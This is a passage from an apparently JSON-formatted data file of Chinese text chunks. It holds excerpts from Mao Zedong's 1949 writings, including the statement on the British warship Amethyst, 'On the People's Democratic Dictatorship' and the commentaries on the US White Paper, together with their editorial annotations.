（六）为着确保城乡治安、安定社会秩序的目的，一切散兵游勇，均应向当地人民解放军或人民政府投诚报到。凡自动投诚报到，并将所有武器交出者，概不追究。其有抗不报到，或隐藏武器者，即予逮捕查究。窝藏不报者，须受相当的处分。 （七）农村中的封建的土地所有权制度，是不合理的，应当废除。但是废除这种制度，必须是有准备和有步骤的。一般地说来，应当先行减租减息，后行分配土地，并且需要人民解放军到达和工作一个相当长的时期之后，方才谈得到认真地解决土地问题。农民群众应当组织起来，协助人民解放军进行各项初步的改革工作。同时，努力耕种，使现有的农业生产水平不致降低，然后逐步加以提高，借以改善农民生活，并供给城市人民以商品粮食。城市的土地房屋，不能和农村土地问题一样处理。 （八）保护外国侨民生命财产的安全。希望一切外国侨民各安生业，保持秩序。一切外国侨民，必须遵守人民解放军和人民政府的法令，不得进行间谍活动，不得有反对中国民族独立事业和人民解放事业的行为，不得包庇中国战争罪犯、反革命分子及其他罪犯。否则，当受人民解放军和人民政府的法律制裁。 人民解放军纪律严明，公买公卖，不许妄取民间一针一线。希望我全体人民，一律安居乐业，切勿轻信谣言，自相惊扰。切切此布。 中国人民革命军事委员会主席 毛泽东 中国人民解放军总司令 朱 德 注 释 〔1〕 见本卷《向全国进军的命令》注〔1〕。"},
    {"text": "中国人民解放军总部发言人为英国军舰暴行<a class=\"zy\" href=\"#id1a\" id=\"id1\">〔1〕</a>发表的声明 中国人民解放军总部发言人 为英国军舰暴行 〔1〕 发表的声明 * （一九四九年四月三十日） 我们斥责战争贩子丘吉尔的狂妄声明 〔2〕 。四月二十六日，丘吉尔在英国下院，要求英国政府派两艘航空母舰去远东，“实行武力的报复”。丘吉尔先生，你“报复”什么？英国的军舰和国民党的军舰一道，闯入中国人民解放军的防区，并向人民解放军开炮，致使人民解放军的忠勇战士伤亡二百五十二人之多。英国人跑进中国境内做出这样大的犯罪行为，中国人民解放军有理由要求英国政府承认错误，并执行道歉和赔偿。难道你们今后应当做的不是这些，反而是开动军队到中国来向中国人民解放军进行“报复”吗？艾德礼首相的话也是错误的 〔3〕 。他说英国有权开动军舰进入中国的长江。长江是中国的内河，你们英国人有什么权利将军舰开进来？没有这种权利。中国的领土主权，中国人民必须保卫，绝对不允许外国政府来侵犯。艾德礼说：人民解放军“准备让英舰紫石英号开往南京，但要有一个条件，就是该舰要协助人民解放军渡江”。艾德礼是在撒谎，人民解放军并没有允许紫石英号开往南京。人民解放军不希望任何外国武装力量帮助渡江，或做任何别的什么事情。相反，人民解放军要求英国、美国、法国在长江黄浦江和在中国其他各处的军舰、军用飞机、陆战队等项武装力量，迅速撤离中国的领水、领海、领土、领空，不要帮助中国人民的敌人打内战。中国人民革命军事委员会和人民政府直到现在还没有同任何外国政府建立外交关系。中国人民革命军事委员会和人民政府愿意保护从事正常业务的在华外国侨民。中国人民革命军事委员会和人民政府愿意考虑同各外国建立外交关系，这种关系必须建立在平等、互利、互相尊重主权和领土完整的基础上，首先是不能帮助国民党反动派。中国人民革命军事委员会和人民政府不愿意接受任何外国政府所给予的任何带威胁性的行动。外国政府如果愿意考虑同我们建立外交关系，它就必须断绝同国民党残余力量的关系，并且把它在中国的武装力量撤回去。艾德礼埋怨中国共产党因为没有同外国建立外交关系而不愿意同外国政府的旧外交人员（国民党承认的领事）发生关系，这种埋怨是没有理由的。过去数年内，美国、英国、加拿大等国政府是帮助国民党反对我们的，难道艾德礼先生也忘记了？被击沉不久的重庆号重巡洋舰 〔4〕 是什么国家赠给国民党的，艾德礼先生难道也不知道吗？ 注 释 * 这是毛泽东为中国人民解放军总部发言人起草的声明。在这个声明里，表明了中国人民不怕任何威胁、坚决反对帝国主义侵略的严正立场，并且表明了即将成立的新中国的对外政策。 〔1〕 一九四九年四月二十日至二十一日，当人民解放军渡江作战的时候，侵入中国内河长江的紫石英号等四艘英国军舰先后驶向人民解放军防区，妨碍渡江，中英双方发生了军事冲突。英舰开炮打死打伤人民解放军二百五十二人。紫石英号也被人民解放军击伤被迫停于镇江附近江中，其他三艘英舰逃走。英国当局曾由其远东舰队司令布朗特经过紫石英号舰长同人民解放军代表进行多次谈判，要求将紫石英号放行。当谈判还在进行之际，紫石英号军舰于七月三十日夜趁江陵解放号客轮经过镇江下驶，强行靠近该轮与之并行，借以逃跑。当人民解放军警告其停驶时，紫石英号军舰竟开炮射击，并撞沉木船多只，逃出长江。 〔2〕 一九四九年四月二十六日，英国保守党首领丘吉尔在下院发言，把中国人民解放军炮击驶入人民解放军防区的英舰说成是“暴行”，并且要英国政府“派一两艘航空母舰到中国海上去……实行武力的报复”。 〔3〕 一九四九年四月二十六日，英国首相艾德礼在议会中宣称：“英国军舰有合法权利在长江行驶，执行和平使命，因为它们得到国民党政府的许可。”同时，他在谈到英国方面代表和中国人民解放军代表交涉的情况时，又造谣说：中国人民解放军“准备让英舰紫石英号开往南京，但要有一个条件，就是该舰要协助人民解放军渡江”。 〔4〕 重庆号巡洋舰，是英国政府于一九四八年五月十九日赠给国民党反动政府的，是国民党政府海军中最大的巡洋舰。一九四九年二月二十五日，这艘军舰的官兵在上海吴淞口举行起义，脱离国民党政府，加入中国人民海军。同年三月十九日，美帝国主义和国民党政府出动重轰炸机多架，将其炸沉于中国东北辽东湾的葫芦岛附近。"},
    {"text": "在新政治协商会议筹备会上的讲话 在新政治协商会议 筹备会上的讲话 （一九四九年六月十五日） 诸位代表先生： 我们的新的政治协商会议的筹备会 〔1〕 ，今天开幕了。 这个筹备会的任务，就是：完成各项必要的准备工作，迅速召开新的政治协商会议，成立民主联合政府，以便领导全国人民，以最快的速度肃清国民党反动派的残余力量，统一全中国，有系统地和有步骤地在全国范围内进行政治的、经济的、文化的和国防的建设工作。"},
    {"text": "中国共产党、各民主党派、各人民团体、各界民主人士、国内少数民族和海外华侨都认为：必须打倒帝国主义、封建主义、官僚资本主义和国民党反动派的统治，必须召集一个包含各民主党派、各人民团体、各界民主人士、国内少数民族和海外华侨的代表人物的政治协商会议，宣告中华人民共和国的成立，并选举代表这个共和国的民主联合政府，才能使我们的伟大的祖国脱离半殖民地的和半封建的命运，走上独立、自由、和平、统一和强盛的道路。"},
    {"text": "这是一个共同的政治基础。 这是中国共产党、各民主党派、各人民团体、各界民主人士、国内少数民族和海外华侨团结奋斗的共同的政治基础，这也是全国人民团结奋斗的共同的政治基础。 这个政治基础是如此巩固，以至于没有一个认真的民主党派、人民团体和民主人士提出任何不同的意见，大家认为只有这一条道路，才是解决中国一切问题的正确的方向。"},
    {"text": "这是全中国人民的胜利，也是全世界人民的胜利。 整个世界，除了帝国主义者和各国反动派，对于中国人民的这个伟大的胜利，没有不欢欣鼓舞的。"},
    {"text": "全中国人民和全世界人民一齐看见了这样的事实：帝国主义者指挥中国反动派用反革命战争残酷地反对中国人民，中国人民用革命战争胜利地打倒了反动派。"},
    {"text": "我们决不可因为胜利，而放松对于帝国主义分子及其走狗们的疯狂的报复阴谋的警惕性，谁要是放松这一项警惕性，谁就将在政治上解除武装，而使自己处于被动的地位。"},
    {"text": "中国的革命是全民族人民大众的革命，除了帝国主义者、封建主义者、官僚资产阶级分子、国民党反动派及其帮凶们而外，其余的一切人都是我们的朋友，我们有一个广大的和巩固的革命统一战线。"},
    {"text": "我们现在所处的时代是帝国主义制度走向全部崩溃的时代，帝国主义者业已陷入不可解脱的危机之中，不论他们还要如何继续反对中国人民，中国人民总是有办法取得最后胜利的。"},
    {"text": "任何外国政府，只要它愿意断绝对于中国反动派的关系，不再勾结或援助中国反动派，并向人民的中国采取真正的而不是虚伪的友好态度，我们就愿意同它在平等、互利和互相尊重领土主权的原则的基础之上，谈判建立外交关系的问题。"},
    {"text": "中国人民将会看见，中国的命运一经操在人民自己的手里，中国就将如太阳升起在东方那样，以自己的辉煌的光焰普照大地，迅速地荡涤反动政府留下来的污泥浊水，治好战争的创伤，建设起一个崭新的强盛的名副其实的人民共和国。"},
    {"text": "会议通过了《新政治协商会议筹备会组织条例》和《关于参加新政治协商会议的单位及其代表名额的规定》，选出了以毛泽东为主任的常务委员会。"},
    {"text": "论人民民主专政 论人民民主专政 纪念中国共产党二十八周年 （一九四九年六月三十日） 一九四九年的七月一日这一个日子表示，中国共产党已经走过二十八年了。"},
    {"text": "阶级消灭了，作为阶级斗争的工具的一切东西，政党和国家机器，将因其丧失作用，没有需要，逐步地衰亡下去，完结自己的历史使命，而走到更高级的人类社会。"},
    {"text": "对于工人阶级、劳动人民和共产党，则不是什么被推翻的问题，而是努力工作，创设条件，使阶级、国家权力和政党很自然地归于消灭，使人类进到大同境域。"},
    {"text": "过去蕴藏在地下为外国人所看不见的伟大的俄国无产阶级和劳动人民的革命精力，在列宁、斯大林领导之下，像火山一样突然爆发出来了，中国人和全人类对俄国人都另眼相看了。"},
    {"text": "在这个时期中，以苏联为主力军的反法西斯的第二次世界大战，打倒了三个帝国主义大国，两个帝国主义大国在战争中被削弱了，世界上只剩下一个帝国主义大国即美国没有受损失。"},
    {"text": "积二十八年的经验，如同孙中山在其临终遗嘱里所说“积四十年之经验”一样，得到了一个相同的结论，即是：深知欲达到胜利，“必须唤起民众，及联合世界上以平等待我之民族，共同奋斗”。 孙中山和我们具有各不相同的宇宙观，从不同的阶级立场出发去观察和处理问题，但在二十世纪二十年代，在怎样和帝国主义作斗争的问题上，却和我们达到了这样一个基本上一致的结论。 孙中山死去二十四年了，中国革命的理论和实践，在中国共产党领导之下，都大大地向前发展了，根本上变换了中国的面目。"},
    {"text": "这就是团结工人阶级、农民阶级、城市小资产阶级和民族资产阶级，在工人阶级领导之下，结成国内的统一战线，并由此发展到建立工人阶级领导的以工农联盟为基础的人民民主专政的国家；"},
    {"text": "划清反动派和革命派的界限，揭露反动派的阴谋诡计，引起革命派内部的警觉和注意，长自己的志气，灭敌人的威风，才能孤立反动派，战而胜之，或取而代之。"},
    {"text": "团结国内国际的一切力量击破内外反动派，我们就有生意可做了，我们就有可能在平等、互利和互相尊重领土主权的基础之上和一切国家建立外交关系了。"},
    {"text": "请大家想一想，假如没有苏联的存在，假如没有反法西斯的第二次世界大战的胜利，假如没有打倒日本帝国主义，假如没有各人民民主国家的出现，假如没有东方各被压迫民族正在起来斗争，假如没有美国、英国、法国、德国、意大利、日本等等资本主义国家内部的人民大众和统治他们的反动派之间的斗争，假如没有这一切的综合，那末，堆在我们头上的国际反动势力必定比现在不知要大多少倍。"},
    {"text": "这些国家的共产党和进步党派，正在促使它们的政府和我们做生意以至建立外交关系，这是善意的，这就是援助，这和这些国家的资产阶级的行为，不能相提并论。"},
    {"text": "请读者们看一看孙先生的遗嘱吧，他在那里谆谆嘱咐人们的，不是叫人们把眼光向着帝国主义国家的援助，而是叫人们“联合世界上以平等待我之民族”。"},
    {"text": "中国人民在几十年中积累起来的一切经验，都叫我们实行人民民主专政，或曰人民民主独裁，总之是一样，就是剥夺反动派的发言权，只让人民有发言权。"},
    {"text": "这些阶级在工人阶级和共产党的领导之下，团结起来，组成自己的国家，选举自己的政府，向着帝国主义的走狗即地主阶级和官僚资产阶级以及代表这些阶级的国民党反动派及其帮凶们实行专政，实行独裁，压迫这些人，只许他们规规矩矩，不许他们乱说乱动。"},
    {"text": "以此作为条件，使中国有可能在工人阶级和共产党的领导之下稳步地由农业国进到工业国，由新民主主义社会进到社会主义社会和共产主义社会，消灭阶级和实现大同。"},
    {"text": "有了人民的国家，人民才有可能在全国范围内和全体规模上，用民主的方法，教育自己和改造自己，使自己脱离内外反动派的影响（这个影响现在还是很大的，并将在长时期内存在着，不能很快地消灭），改造自己从旧社会得来的坏习惯和坏思想，不使自己走入反动派指引的错误路上去，并继续前进，向着社会主义社会和共产主义社会前进。"},
    {"text": "对于反动阶级和反动派的人们，在他们的政权被推翻以后，只要他们不造反，不破坏，不捣乱，也给土地，给工作，让他们活下去，让他们在劳动中改造自己，成为新人。"},
    {"text": "这也可以说是“施仁政”吧，但这是我们对于原来是敌对阶级的人们所强迫地施行的，和我们对于革命人民内部的自我教育工作，不能相提并论。"},
    {"text": "革命的人民如果不学会这一项对待反革命阶级的统治方法，他们就不能维持政权，他们的政权就会被内外反动派所推翻，内外反动派就会在中国复辟，革命的人民就会遭殃。"},
    {"text": "人民民主专政的基础是工人阶级、农民阶级和城市小资产阶级的联盟，而主要是工人和农民的联盟，因为这两个阶级占了中国人口的百分之八十到九十。"},
    {"text": "为了对付帝国主义的压迫，为了使落后的经济地位提高一步，中国必须利用一切于国计民生有利而不是有害的城乡资本主义因素，团结民族资产阶级，共同奋斗。"},
    {"text": "但是民族资产阶级不能充当革命的领导者，也不应当在国家政权中占主要的地位。 民族资产阶级之所以不能充当革命的领导者和所以不应当在国家政权中占主要地位，是因为民族资产阶级的社会经济地位规定了他们的软弱性，他们缺乏远见，缺乏足够的勇气，并且有不少人害怕民众。"},
    {"text": "一个有纪律的，有马克思列宁主义的理论武装的，采取自我批评方法的，联系人民群众的党。 一个由这样的党领导的军队。 一个由这样的党领导的各革命阶级各革命派别的统一战线。"},
    {"text": "列宁在那里说：“在将近半个世纪里，大约从上一世纪四十年代至九十年代，俄国进步的思想界在空前野蛮和反动的沙皇制度的压迫之下，曾如饥似渴地寻求正确的革命理论，专心致志地、密切地注视着欧美在这方面的每一种‘最新成就’。 俄国在半个世纪里，经受了闻所未闻的痛苦和牺牲，表现了空前未有的革命英雄气概，以难以置信的毅力和舍身忘我的精神去探索、学习和实验，经受了失望，进行了验证，参照了欧洲的经验，真是饱经苦难找到了马克思主义这个唯一正确的革命理论。"},
    {"text": "一八九五年中国在甲午战争中被日本打败后，他联合一千三百多名在北京参加科举考试的举人联名向光绪皇帝上“万言书”，要求“变法维新”，主张改君主专制制度为君主立宪制度。"},
    {"text": "〔6〕 参见本书第二卷《新民主主义论》注〔27〕。 〔7〕 见本书第一卷《湖南农民运动考察报告》注〔3〕。 〔8〕 见本书第一卷《实践论》注〔6〕。 〔9〕 见本卷《目前形势和我们的任务》注〔12〕。"},
    {"text": "丢掉幻想，准备斗争 丢掉幻想，准备斗争 * （一九四九年八月十四日） 美国国务院关于中美关系的白皮书以及艾奇逊国务卿给杜鲁门总统的信 〔1〕 ，在现在这个时候发表，不是偶然的。"},
    {"text": "自从一八四〇年英国人侵略中国 〔2〕 以来，接着就是英法联军进攻中国的战争 〔3〕 ，法国进攻中国的战争 〔4〕 ，日本进攻中国的战争 〔5〕 ，英国、法国、日本、沙皇俄国、德国、美国、意大利、奥地利等八国联军进攻中国的战争 〔6〕 ，日本和沙皇俄国在中国领土内进行的战争 〔7〕 ，一九三一年开始的日本进攻中国东北的战争 〔8〕 ，一九三七年开始继续了八年之久的日本进攻中国全境的战争，最后是最近三年来表面上是蒋介石实际上是美国进攻中国人民的战争。"},
    {"text": "这最后一次战争，艾奇逊的信上说，美国对国民党政府的物质帮助占国民党政府的“货币支出的百分之五十以上”，“美国供给了中国军队（指国民党军队）的军需品”。"},
    {"text": "所有这一切侵略战争，加上政治上、经济上、文化上的侵略和压迫，造成了中国人对于帝国主义的仇恨，使中国人想一想，这究竟是怎么一回事，迫使中国人的革命精神发扬起来，从斗争中团结起来。"},
    {"text": "斗争，失败，再斗争，再失败，再斗争，积一百零九年的经验，积几百次大小斗争的经验，军事的和政治的、经济的和文化的、流血的和不流血的经验，方才获得今天这样的基本上的成功。"},
    {"text": "帝国主义的侵略刺激了中国的社会经济，使它发生了变化，造成了帝国主义的对立物——造成了中国的民族工业，造成了中国的民族资产阶级，而特别是造成了在帝国主义直接经营的企业中、在官僚资本的企业中、在民族资产阶级的企业中做工的中国的无产阶级。"},
    {"text": "为了侵略的必要，帝国主义以不等价交换的方法剥削中国的农民，使农民破产，给中国造成了数以万万计的广大的贫农群众，贫农占了农村人口的百分之七十。"},
    {"text": "对于这些人，帝国主义及其走狗中国的反动政府只能控制其中的一部分人，到了后来，只能控制其中的极少数人，例如胡适、傅斯年、钱穆之类，其他都不能控制了，他们走到了它的反面。"},
    {"text": "共产党是一个穷党，又是被国民党广泛地无孔不入地宣传为杀人放火，奸淫抢掠，不要历史，不要文化，不要祖国，不孝父母，不敬师长，不讲道理，共产公妻，人海战术，总之是一群青面獠牙，十恶不赦的人。"},
    {"text": "” 按照逻辑，艾奇逊的结论应该是，照着中国某些思想糊涂的知识分子的想法或说法，“放下屠刀，立地成佛”，“强盗收心做好人”，给人民的中国以平等和互利的待遇，再也不要做捣乱工作了。"},
    {"text": "唯一的办法是组织力量和他们斗争，例如我们的人民解放战争，土地革命，揭露帝国主义，“刺激”他们，把他们打倒，制裁他们的犯法行为，“只许他们规规矩矩，不许他们乱说乱动” 〔9〕 。"},
    {"text": "然后，才有希望把已经缴械了和投降了的地主阶级分子、官僚资产阶级分子和国民党反动集团的成员及其帮凶们给以由坏人变好人的教育，并尽可能地把他们变成好人。"},
    {"text": "中国的许多自由主义分子，亦即旧民主主义分子，亦即杜鲁门、马歇尔、艾奇逊、司徒雷登们所瞩望的和经常企图争取的所谓“民主个人主义”的拥护者们之所以往往陷入被动地位，对问题的观察往往不正确——对美国统治者的观察往往不正确，对国民党的观察往往不正确，对苏联的观察往往不正确，对中国共产党的观察也往往不正确，就是因为他们没有或不赞成用历史唯物主义的观点去看问题的缘故。"},
    {"text": "先进的人们，共产党人，各民主党派，觉悟了的工人，青年学生，进步的知识分子，有责任去团结人民中国内部的中间阶层、中间派、各阶层中的落后分子、一切还在动摇犹豫的人们（这些人们还要长期地动摇着，坚定了又动摇，一遇困难就要动摇的），用善意去帮助他们，批评他们的动摇性，教育他们，争取他们站到人民大众方面来，不让帝国主义把他们拉过去，叫他们丢掉幻想，准备斗争。"},
    {"text": "美国白皮书和艾奇逊信件的发表是值得庆祝的，因为它给了中国怀有旧民主主义思想亦即民主个人主义思想，而对人民民主主义，或民主集体主义，或民主集中主义，或集体英雄主义，或国际主义的爱国主义，不赞成，或不甚赞成，不满，或有某些不满，甚至抱有反感，但是还有爱国心，并非国民党反动派的人们，浇了一瓢冷水，丢了他们的脸。"},
    {"text": "这就是说，要推翻马克思列宁主义，推翻中国共产党领导的人民民主专政的制度。 因为，据说，这个主义和这个制度是“外国的”，在中国没有根的，是德国的马克思（此人已死了六十六年），俄国的列宁（此人已死了二十五年）和斯大林（此人还活着）强加于中国人的，而且这个主义和这个制度是坏透了，提倡什么阶级斗争，打倒帝国主义等等，因此，必须推翻。"},
    {"text": "这件事，经过杜鲁门总统，马歇尔幕后总司令，艾奇逊国务卿（即经手发布白皮书的一位可爱的洋大人）和司徒雷登滚蛋大使们一“鼓励”，据说中国的“民主个人主义终于会再显身手”。 艾奇逊们认为这是在做“鼓励”工作，但是很可能被中国的那些虽然相信美国但是尚有爱国心的民主个人主义者认为是一瓢冷水，使他们感觉丢脸：不和中国的人民民主专政的当局好好地打交道，却要干这些混账工作，而且公开地发表出来，丢脸，丢脸！"},
    {"text": "这些评论揭露了美国对华政策的帝国主义本质，批评了国内一部分资产阶级知识分子对于美国帝国主义的幻想，并且对中国革命的发生和胜利的原因作了理论上的说明。"},
    {"text": "白皮书的正文分为八章，叙述从一八四四年美国强迫中国签订《望厦条约》以来，直至一九四九年中国人民革命在全国范围内取得基本胜利时为止的中美关系。 白皮书特别详细地叙述了抗日战争末期至一九四九年的五年中间，美国实施扶蒋反共政策，千方百计地反对中国人民，结果遭到失败的经过。"},
    {"text": "〔2〕 见本书第一卷《论反对日本帝国主义的策略》注〔35〕。 〔3〕 见本书第二卷《中国革命和中国共产党》注〔18〕。 〔4〕 见本书第二卷《中国革命和中国共产党》注〔19〕。 〔5〕 见本书第一卷《矛盾论》注〔22〕。 〔6〕 见本书第二卷《中国革命和中国共产党》注〔21〕。"},
    {"text": "别了，司徒雷登 别了，司徒雷登 （一九四九年八月十八日） 美国的白皮书，选择在司徒雷登 〔1〕 业已离开南京、快到华盛顿、但是尚未到达的日子——八月五日发表，是可以理解的，因为他是美国侵略政策彻底失败的象征。"},
    {"text": "司徒雷登是一个在中国出生的美国人，在中国有相当广泛的社会联系，在中国办过多年的教会学校，在抗日时期坐过日本人的监狱，平素装着爱美国也爱中国，颇能迷惑一部分中国人，因此被马歇尔看中，做了驻华大使，成为马歇尔系统中的风云人物之一。"},
    {"text": "在马歇尔系统看来，他只有一个缺点，就是在他代表马歇尔系统的政策在中国当大使的整个时期，恰恰就是这个政策彻底地被中国人民打败了的时期，这个责任可不小。"},
    {"text": "美国出钱出枪，蒋介石出人，替美国打仗杀中国人，借以变中国为美国殖民地的战争，组成了美国帝国主义在第二次世界大战以后的世界侵略政策的一个重大的部分。"},
    {"text": "二则欧洲人民的觉悟，东欧各人民民主国家的兴起，特别是苏联这个空前强大的和平堡垒耸立在欧亚两洲之间，顽强地抵抗着美国的侵略政策，使美国的注意力大部分被吸引住了；"},
    {"text": "在北平附近的安平镇，在长春附近的九台，在唐山，在胶东半岛，美国的军队或军事人员曾经和人民解放军接触过，被人民解放军俘虏过多次 〔2〕 。"},
    {"text": "所有这些，都是直接参战的行动，只是还没有公开宣布作战，并且规模还不算大，而以大规模地出钱出枪出顾问人员帮助蒋介石打内战为主要的侵略方式。"},
    {"text": "对于美国怀着幻想的善忘的自由主义者或所谓“民主个人主义”者们，请你们看一看艾奇逊的话：“和平来到的时候，美国在中国碰到了三种可能的选择：（一）它可以一干二净地撤退；"},
    {"text": "艾奇逊说：“我相信当时的美国民意认为，第一种选择等于叫我们不要坚决努力地先做一番补救工作，就把我们的国际责任，把我们对华友好的传统政策，统统放弃。"},
    {"text": "”原来美国的所谓“国际责任”和“对华友好的传统政策”，就是干涉中国。 干涉就叫做担负国际责任，干涉就叫做对华友好，不干涉是不行的。"},
    {"text": "我们因此采取了第三种供选择的政策……” 好办法，美国出钱出枪，蒋介石出人，替美国打仗杀中国人，“毁灭共产党”，变中国为美国的殖民地，完成美国的“国际责任”，实现“对华友好的传统政策”。"},
    {"text": "不是我们——杜鲁门、马歇尔、艾奇逊等人的帝国主义系统——不想干，干是很想的，只是因为中国的形势，美国的形势，还有整个国际的形势（这点艾奇逊没有说）不许可，不得已而求其次，采取了第三条路。"},
    {"text": "现在和将来据说很愿意送些给它在中国的第五纵队，但是不愿意送给一般的书生气十足的不识抬举的自由主义者，或民主个人主义者，当然更加不愿意送给共产党。"},
    {"text": "唐朝的韩愈写过《伯夷颂》 〔9〕 ，颂的是一个对自己国家的人民不负责任、开小差逃跑、又反对武王领导的当时的人民解放战争、颇有些“民主个人主义”思想的伯夷，那是颂错了。"},
    {"text": "除了看见人民解放军一队一队地走过，工人、农民、学生一群一群地起来之外，他还看见了一种现象，就是中国的自由主义者或民主个人主义者们也大群地和工农兵学生等人一道喊口号，讲革命。"},
    {"text": "中国还有一部分知识分子和其他人等存有糊涂思想，对美国存有幻想，因此应当对他们进行说服、争取、教育和团结的工作，使他们站到人民方面来，不上帝国主义的当。"},
    {"text": "〔2〕 一九四五年日本投降以后，以侵略中国领土主权和干涉中国内政为目的的美国军队即在中国登陆，侵驻北平、上海、南京、天津、唐山、开平、秦皇岛、静海、青岛等地区，并不断地向解放区进犯。"},
    {"text": "为了控制西欧和扩大国外市场，美国国务卿马歇尔在一九四七年六月五日的一次演说中，建议欧洲国家共同拟订一个“复兴”计划，由美国予以“援助”。 七月，英、法、意等十六国在巴黎开会，决定接受马歇尔建议，成立欧洲经济合作委员会（后改为欧洲经济合作组织），提出“欧洲复兴方案”。"},
    {"text": "”（见《武王伐纣平话》卷中）“嗟来之食”，是指一种带侮辱性的施舍。 齐国的一个饥民因为不吃嗟来之食而饿死的故事，见《礼记·檀弓下》。"},
    {"text": "（一九四九年八月二十八日） 关于美国白皮书和艾奇逊的信件，我们业已在三篇文章（《无可奈何的供状》 〔1〕 、《丢掉幻想，准备斗争》、《别了，司徒雷登》）中给了批评。"},
    {"text": "这些批评，业已引起了全国各民主党派，各人民团体，各报社，各学校以及各界民主人士的广泛的注意和讨论，他们并发表了许多正确的和有益的声明、谈话或评论。"},
    {"text": "讨论的范围涉及中美关系，中苏关系，一百年来的中外关系，中国革命和世界革命力量的相互关系，国民党反动派和中国人民的关系，各民主党派各人民团体和各界民主人士在反帝国主义斗争中应取的态度，自由主义者或所谓民主个人主义者在整个对内对外关系中应取的态度，对于帝国主义的新阴谋如何对付，等等。"},
    {"text": "过去关于这种讨论之所以没有获得机会，是因为革命还没有得到基本上的胜利，中外反动派将大城市和人民解放区隔绝了，再则革命的发展还没有使几个矛盾侧面充分暴露的缘故。"},
    {"text": "伟大的胜利的中国革命，已经迫使美帝国主义集团内部的一个方面，一个派别，要用公开发表自己反对中国人民的若干真实材料，并作出反动的结论，去答复另一个方面，另一个派别的攻击，否则他们就混不下去了。"},
    {"text": "在几星期以前，在白皮书发表以前，帝国主义政府的反革命事业尽管每天都在做，但是在嘴上，在官方的文书上，却总是满篇的仁义道德，或者多少带一些仁义道德，从来不说实话。"},
    {"text": "后起的，暴发的，神经衰弱的，一方面遭受人民反对，另方面遭受其同伙中一派反对的美国杜鲁门、马歇尔、艾奇逊、司徒雷登等人的帝国主义系统，认为以公开暴露若干（不是一切）反革命真相的方法来和他们同伙中的对手辩论究竟哪一种反革命方法较为聪明的问题，是必要的和可行的。"},
    {"text": "多少年来，在许多问题上，主要地是在帝国主义的本性问题和社会主义的本性问题上，我们共产党人所说的，在若干（曾经有一个时期是很多）中国人看来，总是将信将疑的，“怕未必吧”。"},
    {"text": "艾奇逊所说的“极亲密的友谊的联系”，不是说的两国人民，而是说的两国反动派。 在这里，艾奇逊既不客观，也不坦白，他混淆了两国人民和两国反动派的相互关系。"},
    {"text": "只有杜鲁门、马歇尔、艾奇逊、司徒雷登和其他美国反动派，蒋介石、孔祥熙、宋子文、陈立夫、李宗仁、白崇禧和其他中国反动派与此相反，确是“生平最复杂、最苦恼的时期”。"},
    {"text": "于是乎帝国主义的新闻处被我们封闭了，帝国主义的通讯社对中国报纸的发稿被我们禁止了，不允许它们自由自在地再在中国境内毒害中国人民的灵魂。"},
    {"text": "这是一个很好的东西，是一个护身的法宝，是一个传家的法宝，直到国外的帝国主义和国内的阶级被彻底地干净地消灭之日，这个法宝是万万不可以弃置不用的。"},
    {"text": "希特勒、墨索里尼、东条、佛朗哥、蒋介石等人的政府取消了或者索性不用那片资产阶级内部民主的幕布，是因为国内阶级斗争紧张到了极点，取消或者索性不用那片布比较地有利些，免得人民也利用那片布去手舞足蹈。 美国政府现在还有一片民主布，但是已被美国反动派剪得很小了，又大大地褪了颜色，比起华盛顿、杰斐逊、林肯 〔3〕 的朝代来是差远了，这是阶级斗争迫紧了几步的缘故。"},
    {"text": "〔2〕 一九四八年六月，由保、罗、匈、波、苏、法、捷、意各国共产党、工人党参加的情报局会议，作出《关于南斯拉夫共产党状况》的决议，对南共进行公开的指责，并把南共开除出情报局。"},
    {"text": "关于对待南斯拉夫的问题，一九五六年九月，毛泽东在同南共联盟参加中国共产党第八次全国代表大会代表团谈话时曾说：我们有对不起你们的地方。"},
    {"text": "〔3〕 华盛顿（一七三二——一七九九）、杰斐逊（一七四三——一八二六）、林肯（一八〇九——一八六五），都是美国早期著名的资产阶级政治家。"},
    {"text": "林肯主张废除美国的黑奴制度，他在担任美国总统期间，领导了反对美国南部各州奴隶主的战争（一八六一——一八六五），并在一八六三年颁布了《解放黑奴宣言》。"},
    {"text": "虽然距离遥远，背景又大不相同，把中美两国隔离开了，可是那些在宗教、慈善事业和文化方面团结中美两国人民的纽带，一直在加深着美国对中国的友谊，许多年来种种善意措施便是证据，例如用庚子赔款来教育中国学生，在第二次世界大战期间废除治外法权，以及战时和战后对中国的大规模援助等等。"},
    {"text": "美国始终维持并且现在依然维持对华外交政策的各项基本原则，包括门户开放主义，尊重中国行政和领土的完整，以及反对任何外国控制中国等等，这是有案可稽的。"},
    {"text": "美帝国主义侵略中国的历史，自从一八四〇年帮助英国人进行鸦片战争 〔1〕 起，直到被中国人民轰出中国止，应当写一本简明扼要的教科书，教育中国的青年人。"},
    {"text": "“战时和战后的对华援助”，据白皮书说是四十五亿余美元，据我们统计是五十九亿一千四百余万美元，帮助蒋介石杀死几百万中国人，也算一项“友谊”的表示。 所有一百零九年（从一八四〇年英美合作的鸦片战争算起）美帝国主义给予中国的“友谊”，特别是最近数年帮助蒋介石杀死几百万中国人这一项伟大的“友谊”，都是为着一个目的，就是“始终维持并且现在依然维持对华外交政策的各项基本原则，包括门户开放主义，尊重中国行政和领土的完整，以及反对任何外国控制中国等等”。"},
    {"text": "现在，只有广州、台湾等处地方，叨了第三个神圣原则的光，把“任何外国的控制”，连同美国的控制也在内，都给艾奇逊们“反对”掉了，因此还被中国人控制着。"},
    {"text": "〔3〕 《望厦条约》是美国侵略中国的第一个不平等条约。 一八四四年七月，美国利用中国在鸦片战争失败后的处境，强迫中国清朝政府在澳门附近的望厦村签订了《中美五口贸易章程》，即《望厦条约》。"},
    {"text": "〔5〕 指北平的燕京大学、协和医学院，北平和南京的汇文中学，上海的圣约翰大学，南京的金陵大学，苏州的东吴大学，杭州的之江大学，长沙的湘雅医学院，成都的华西协合大学和广州的岭南大学。"},
    {"text": "唯心历史观的破产 唯心历史观的破产 （一九四九年九月十六日） 中国人之所以应当感谢美国资产阶级发言人艾奇逊，不但是因为艾奇逊明确地供认了美国出钱出枪，蒋介石出人，替美国打仗杀中国人这样一种事实，使得中国的先进分子有证据地去说服落后分子。"},
